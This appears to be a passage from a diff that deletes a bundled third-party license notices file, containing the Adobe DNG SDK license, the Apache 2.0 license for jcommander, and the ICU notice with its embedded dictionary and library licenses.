-1. LICENSE GRANT
-Software License.  Subject to the restrictions below and other terms of this
-Agreement, Adobe hereby grants you a non-exclusive, worldwide, royalty free
-license to use, reproduce, prepare derivative works from, publicly display,
-publicly perform, distribute and sublicense the Software for any purpose.
-
-Document License.  Subject to the terms of this Agreement, Adobe hereby grants
-you a non-exclusive, worldwide, royalty free license to make a limited number of
-copies of the Documentation for your development purposes and to publicly
-display, publicly perform and distribute such copies.  You may not modify the
-Documentation.
-
-2. RESTRICTIONS AND OWNERSHIP
-You will not remove any copyright or other notice included in the Software or
-Documentation and you will include such notices in any copies of the Software
-that you distribute in human-readable format.
-
-You will not copy, use, display, modify or distribute the Software or
-Documentation in any manner not permitted by this Agreement. No title to the
-intellectual property in the Software or Documentation is transferred to you
-under the terms of this Agreement. You do not acquire any rights to the Software
-or the Documentation except as expressly set forth in this Agreement. All rights
-not granted are reserved by Adobe.
-
-3. DISCLAIMER OF WARRANTY
-ADOBE PROVIDES THE SOFTWARE AND DOCUMENTATION ONLY ON AN "AS IS" BASIS WITHOUT
-WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING
-WITHOUT LIMITATION ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT,
-MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. ADOBE MAKES NO WARRANTY
-THAT THE SOFTWARE OR DOCUMENTATION WILL BE ERROR-FREE. To the extent
-permissible, any warranties that are not and cannot be excluded by the foregoing
-are limited to ninety (90) days.
-
-4. LIMITATION OF LIABILITY
-ADOBE AND ITS SUPPLIERS SHALL NOT BE LIABLE FOR LOSS OR DAMAGE ARISING OUT OF
-THIS AGREEMENT OR FROM THE USE OF THE SOFTWARE OR DOCUMENTATION. IN NO EVENT
-WILL ADOBE BE LIABLE TO YOU OR ANY THIRD PARTY FOR ANY DIRECT, INDIRECT,
-CONSEQUENTIAL, INCIDENTAL, OR SPECIAL DAMAGES INCLUDING LOST PROFITS, LOST
-SAVINGS, COSTS, FEES, OR EXPENSES OF ANY KIND ARISING OUT OF ANY PROVISION OF
-THIS AGREEMENT OR THE USE OR THE INABILITY TO USE THE SOFTWARE OR DOCUMENTATION,
-HOWEVER CAUSED AND UNDER ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-LIABILITY OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE), EVEN IF ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES. ADOBE'S AGGREGATE LIABILITY AND THAT OF ITS
-SUPPLIERS UNDER OR IN CONNECTION WITH THIS AGREEMENT SHALL BE LIMITED TO THE
-AMOUNT PAID BY YOU FOR THE SOFTWARE AND DOCUMENTATION.
-
-5. INDEMNIFICATION
-If you choose to distribute the Software in a commercial product, you do so with
-the understanding that you agree to defend, indemnify and hold harmless Adobe
-against any losses, damages and costs arising from the claims, lawsuits or other
-legal actions arising out of such distribution.
-
-6. TRADEMARK USAGE
-Adobe and the DNG logo are the trademarks or registered trademarks of Adobe
-Systems Incorporated in the United States and other countries. Such trademarks
-may not be used to endorse or promote any product unless expressly permitted
-under separate agreement with Adobe. For information on how to license the DNG
-logo please go to www.adobe.com.
-
-7. TERM
-Your rights under this Agreement shall terminate if you fail to comply with any
-of the material terms or conditions of this Agreement. If all your rights under
-this Agreement terminate, you will immediately cease use and distribution of the
-Software and Documentation.
-
-8. GOVERNING LAW AND JURISDICTION. This Agreement is governed by the statutes
-and laws of the State of California, without regard to the conflicts of law
-principles thereof. The federal and state courts located in Santa Clara County,
-California, USA, will have non-exclusive jurisdiction over any dispute arising
-out of this Agreement.
-
-9. GENERAL
-This Agreement supersedes any prior agreement, oral or written, between Adobe
-and you with respect to the licensing to you of the Software and Documentation.
-No variation of the terms of this Agreement will be enforceable against Adobe
-unless Adobe gives its express consent in writing signed by an authorized
-signatory of Adobe. If any part of this Agreement is found void and
-unenforceable, it will not affect the validity of the balance of the Agreement,
-which shall remain valid and enforceable according to its terms.
-
-======================================================================
-external/jcommander/LICENSE
-external/jcommander/license.txt
-
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2012, Cedric Beust
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-======================================================================
-external/icu/NOTICE
-
-COPYRIGHT AND PERMISSION NOTICE (ICU 58 and later)
-
-Copyright © 1991-2018 Unicode, Inc. All rights reserved.
-Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of the Unicode data files and any associated documentation
-(the "Data Files") or Unicode software and any associated documentation
-(the "Software") to deal in the Data Files or Software
-without restriction, including without limitation the rights to use,
-copy, modify, merge, publish, distribute, and/or sell copies of
-the Data Files or Software, and to permit persons to whom the Data Files
-or Software are furnished to do so, provided that either
-(a) this copyright and permission notice appear with all copies
-of the Data Files or Software, or
-(b) this copyright and permission notice appear in associated
-Documentation.
-
-THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF
-ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
-WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT OF THIRD PARTY RIGHTS.
-IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS
-NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL
-DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE,
-DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
-TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-PERFORMANCE OF THE DATA FILES OR SOFTWARE.
-
-Except as contained in this notice, the name of a copyright holder
-shall not be used in advertising or otherwise to promote the sale,
-use or other dealings in these Data Files or Software without prior
-written authorization of the copyright holder.
-
----------------------
-
-Third-Party Software Licenses
-
-This section contains third-party software notices and/or additional
-terms for licensed third-party software components included within ICU
-libraries.
-
-1. ICU License - ICU 1.8.1 to ICU 57.1
-
-COPYRIGHT AND PERMISSION NOTICE
-
-Copyright (c) 1995-2016 International Business Machines Corporation and others
-All rights reserved.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, and/or sell copies of the Software, and to permit persons
-to whom the Software is furnished to do so, provided that the above
-copyright notice(s) and this permission notice appear in all copies of
-the Software and that both the above copyright notice(s) and this
-permission notice appear in supporting documentation.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
-OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
-HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY
-SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER
-RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
-CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
-CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
-
-Except as contained in this notice, the name of a copyright holder
-shall not be used in advertising or otherwise to promote the sale, use
-or other dealings in this Software without prior written authorization
-of the copyright holder.
-
-All trademarks and registered trademarks mentioned herein are the
-property of their respective owners.
-
-2. Chinese/Japanese Word Break Dictionary Data (cjdict.txt)
-
- #     The Google Chrome software developed by Google is licensed under
- # the BSD license. Other software included in this distribution is
- # provided under other licenses, as set forth below.
- #
- #  The BSD License
- #  http://opensource.org/licenses/bsd-license.php
- #  Copyright (C) 2006-2008, Google Inc.
- #
- #  All rights reserved.
- #
- #  Redistribution and use in source and binary forms, with or without
- # modification, are permitted provided that the following conditions are met:
- #
- #  Redistributions of source code must retain the above copyright notice,
- # this list of conditions and the following disclaimer.
- #  Redistributions in binary form must reproduce the above
- # copyright notice, this list of conditions and the following
- # disclaimer in the documentation and/or other materials provided with
- # the distribution.
- #  Neither the name of  Google Inc. nor the names of its
- # contributors may be used to endorse or promote products derived from
- # this software without specific prior written permission.
- #
- #
- #  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
- # CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
- # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
- # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
- # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
- # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
- # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
- # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
- # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
- # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
- # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
- # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- #
- #
- #  The word list in cjdict.txt are generated by combining three word lists
- # listed below with further processing for compound word breaking. The
- # frequency is generated with an iterative training against Google web
- # corpora.
- #
- #  * Libtabe (Chinese)
- #    - https://sourceforge.net/project/?group_id=1519
- #    - Its license terms and conditions are shown below.
- #
- #  * IPADIC (Japanese)
- #    - http://chasen.aist-nara.ac.jp/chasen/distribution.html
- #    - Its license terms and conditions are shown below.
- #
- #  ---------COPYING.libtabe ---- BEGIN--------------------
- #
- #  /*
- #   * Copyright (c) 1999 TaBE Project.
- #   * Copyright (c) 1999 Pai-Hsiang Hsiao.
- #   * All rights reserved.
- #   *
- #   * Redistribution and use in source and binary forms, with or without
- #   * modification, are permitted provided that the following conditions
- #   * are met:
- #   *
- #   * . Redistributions of source code must retain the above copyright
- #   *   notice, this list of conditions and the following disclaimer.
- #   * . Redistributions in binary form must reproduce the above copyright
- #   *   notice, this list of conditions and the following disclaimer in
- #   *   the documentation and/or other materials provided with the
- #   *   distribution.
- #   * . Neither the name of the TaBE Project nor the names of its
- #   *   contributors may be used to endorse or promote products derived
- #   *   from this software without specific prior written permission.
- #   *
- #   * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- #   * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
- #   * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
- #   * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
- #   * REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
- #   * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
- #   * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
- #   * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- #   * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
- #   * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- #   * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
- #   * OF THE POSSIBILITY OF SUCH DAMAGE.
- #   */
- #
- #  /*
- #   * Copyright (c) 1999 Computer Systems and Communication Lab,
- #   *                    Institute of Information Science, Academia
- #       *                    Sinica. All rights reserved.
- #   *
- #   * Redistribution and use in source and binary forms, with or without
- #   * modification, are permitted provided that the following conditions
- #   * are met:
- #   *
- #   * . Redistributions of source code must retain the above copyright
- #   *   notice, this list of conditions and the following disclaimer.
- #   * . Redistributions in binary form must reproduce the above copyright
- #   *   notice, this list of conditions and the following disclaimer in
- #   *   the documentation and/or other materials provided with the
- #   *   distribution.
- #   * . Neither the name of the Computer Systems and Communication Lab
- #   *   nor the names of its contributors may be used to endorse or
- #   *   promote products derived from this software without specific
- #   *   prior written permission.
- #   *
- #   * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- #   * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
- #   * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
- #   * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
- #   * REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
- #   * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
- #   * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
- #   * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- #   * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
- #   * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- #   * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
- #   * OF THE POSSIBILITY OF SUCH DAMAGE.
- #   */
- #
- #  Copyright 1996 Chih-Hao Tsai @ Beckman Institute,
- #      University of Illinois
- #  c-tsai4@uiuc.edu  http://casper.beckman.uiuc.edu/~c-tsai4
- #
- #  ---------------COPYING.libtabe-----END--------------------------------
- #
- #
- #  ---------------COPYING.ipadic-----BEGIN-------------------------------
- #
- #  Copyright 2000, 2001, 2002, 2003 Nara Institute of Science
- #  and Technology.  All Rights Reserved.
- #
- #  Use, reproduction, and distribution of this software is permitted.
- #  Any copy of this software, whether in its original form or modified,
- #  must include both the above copyright notice and the following
- #  paragraphs.
- #
- #  Nara Institute of Science and Technology (NAIST),
- #  the copyright holders, disclaims all warranties with regard to this
- #  software, including all implied warranties of merchantability and
- #  fitness, in no event shall NAIST be liable for
- #  any special, indirect or consequential damages or any damages
- #  whatsoever resulting from loss of use, data or profits, whether in an
- #  action of contract, negligence or other tortuous action, arising out
- #  of or in connection with the use or performance of this software.
- #
- #  A large portion of the dictionary entries
- #  originate from ICOT Free Software.  The following conditions for ICOT
- #  Free Software applies to the current dictionary as well.
- #
- #  Each User may also freely distribute the Program, whether in its
- #  original form or modified, to any third party or parties, PROVIDED
- #  that the provisions of Section 3 ("NO WARRANTY") will ALWAYS appear
- #  on, or be attached to, the Program, which is distributed substantially
- #  in the same form as set out herein and that such intended
- #  distribution, if actually made, will neither violate or otherwise
- #  contravene any of the laws and regulations of the countries having
- #  jurisdiction over the User or the intended distribution itself.
- #
- #  NO WARRANTY
- #
- #  The program was produced on an experimental basis in the course of the
- #  research and development conducted during the project and is provided
- #  to users as so produced on an experimental basis.  Accordingly, the
- #  program is provided without any warranty whatsoever, whether express,
- #  implied, statutory or otherwise.  The term "warranty" used herein
- #  includes, but is not limited to, any warranty of the quality,
- #  performance, merchantability and fitness for a particular purpose of
- #  the program and the nonexistence of any infringement or violation of
- #  any right of any third party.
- #
- #  Each user of the program will agree and understand, and be deemed to
- #  have agreed and understood, that there is no warranty whatsoever for
- #  the program and, accordingly, the entire risk arising from or
- #  otherwise connected with the program is assumed by the user.
- #
- #  Therefore, neither ICOT, the copyright holder, or any other
- #  organization that participated in or was otherwise related to the
- #  development of the program and their respective officials, directors,
- #  officers and other employees shall be held liable for any and all
- #  damages, including, without limitation, general, special, incidental
- #  and consequential damages, arising out of or otherwise in connection
- #  with the use or inability to use the program or any product, material
- #  or result produced or otherwise obtained by using the program,
- #  regardless of whether they have been advised of, or otherwise had
- #  knowledge of, the possibility of such damages at any time during the
- #  project or thereafter.  Each user will be deemed to have agreed to the
- #  foregoing by his or her commencement of use of the program.  The term
- #  "use" as used herein includes, but is not limited to, the use,
- #  modification, copying and distribution of the program and the
- #  production of secondary products from the program.
- #
- #  In the case where the program, whether in its original form or
- #  modified, was distributed or delivered to or received by a user from
- #  any person, organization or entity other than ICOT, unless it makes or
- #  grants independently of ICOT any specific warranty to the user in
- #  writing, such person, organization or entity, will also be exempted
- #  from and not be held liable to the user for any such damages as noted
- #  above as far as the program is concerned.
- #
- #  ---------------COPYING.ipadic-----END----------------------------------
-
-3. Lao Word Break Dictionary Data (laodict.txt)
-
- #  Copyright (c) 2013 International Business Machines Corporation
- #  and others. All Rights Reserved.
- #
- # Project: http://code.google.com/p/lao-dictionary/
- # Dictionary: http://lao-dictionary.googlecode.com/git/Lao-Dictionary.txt
- # License: http://lao-dictionary.googlecode.com/git/Lao-Dictionary-LICENSE.txt
- #              (copied below)
- #
- #  This file is derived from the above dictionary, with slight
- #  modifications.
- #  ----------------------------------------------------------------------
- #  Copyright (C) 2013 Brian Eugene Wilson, Robert Martin Campbell.
- #  All rights reserved.
- #
- #  Redistribution and use in source and binary forms, with or without
- #  modification,
- #  are permitted provided that the following conditions are met:
- #
- #
- # Redistributions of source code must retain the above copyright notice, this
- #  list of conditions and the following disclaimer. Redistributions in
- #  binary form must reproduce the above copyright notice, this list of
- #  conditions and the following disclaimer in the documentation and/or
- #  other materials provided with the distribution.
- #
- #
- # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
- # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
- # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
- # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
- # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
- # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
- # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
- # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
- # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
- # OF THE POSSIBILITY OF SUCH DAMAGE.
- #  --------------------------------------------------------------------------
-
-4. Burmese Word Break Dictionary Data (burmesedict.txt)
-
- #  Copyright (c) 2014 International Business Machines Corporation
- #  and others. All Rights Reserved.
- #
- #  This list is part of a project hosted at:
- #    github.com/kanyawtech/myanmar-karen-word-lists
- #
- #  --------------------------------------------------------------------------
- #  Copyright (c) 2013, LeRoy Benjamin Sharon
- #  All rights reserved.
- #
- #  Redistribution and use in source and binary forms, with or without
- #  modification, are permitted provided that the following conditions
- #  are met: Redistributions of source code must retain the above
- #  copyright notice, this list of conditions and the following
- #  disclaimer.  Redistributions in binary form must reproduce the
- #  above copyright notice, this list of conditions and the following
- #  disclaimer in the documentation and/or other materials provided
- #  with the distribution.
- #
- #    Neither the name Myanmar Karen Word Lists, nor the names of its
- #    contributors may be used to endorse or promote products derived
- #    from this software without specific prior written permission.
- #
- #  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
- #  CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
- #  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
- #  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
- #  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS
- #  BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- #  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
- #  TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- #  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
- #  ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
- #  TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
- #  THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- #  SUCH DAMAGE.
- #  --------------------------------------------------------------------------
-
-5. Time Zone Database
-
-  ICU uses the public domain data and code derived from Time Zone
-Database for its time zone support. The ownership of the TZ database
-is explained in BCP 175: Procedure for Maintaining the Time Zone
-Database section 7.
-
- # 7.  Database Ownership
- #
- #    The TZ database itself is not an IETF Contribution or an IETF
- #    document.  Rather it is a pre-existing and regularly updated work
- #    that is in the public domain, and is intended to remain in the
- #    public domain.  Therefore, BCPs 78 [RFC5378] and 79 [RFC3979] do
- #    not apply to the TZ Database or contributions that individuals make
- #    to it.  Should any claims be made and substantiated against the TZ
- #    Database, the organization that is providing the IANA
- #    Considerations defined in this RFC, under the memorandum of
- #    understanding with the IETF, currently ICANN, may act in accordance
- #    with all competent court orders.  No ownership claims will be made
- #    by ICANN or the IETF Trust on the database or the code.  Any person
- #    making a contribution to the database or code waives all rights to
- #    future claims in that contribution or in the TZ Database.
-
-6. Google double-conversion
-
-Copyright 2006-2011, the V8 project authors. All rights reserved.
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-    * Redistributions of source code must retain the above copyright
-      notice, this list of conditions and the following disclaimer.
-    * Redistributions in binary form must reproduce the above
-      copyright notice, this list of conditions and the following
-      disclaimer in the documentation and/or other materials provided
-      with the distribution.
-    * Neither the name of Google Inc. nor the names of its
-      contributors may be used to endorse or promote products derived
-      from this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
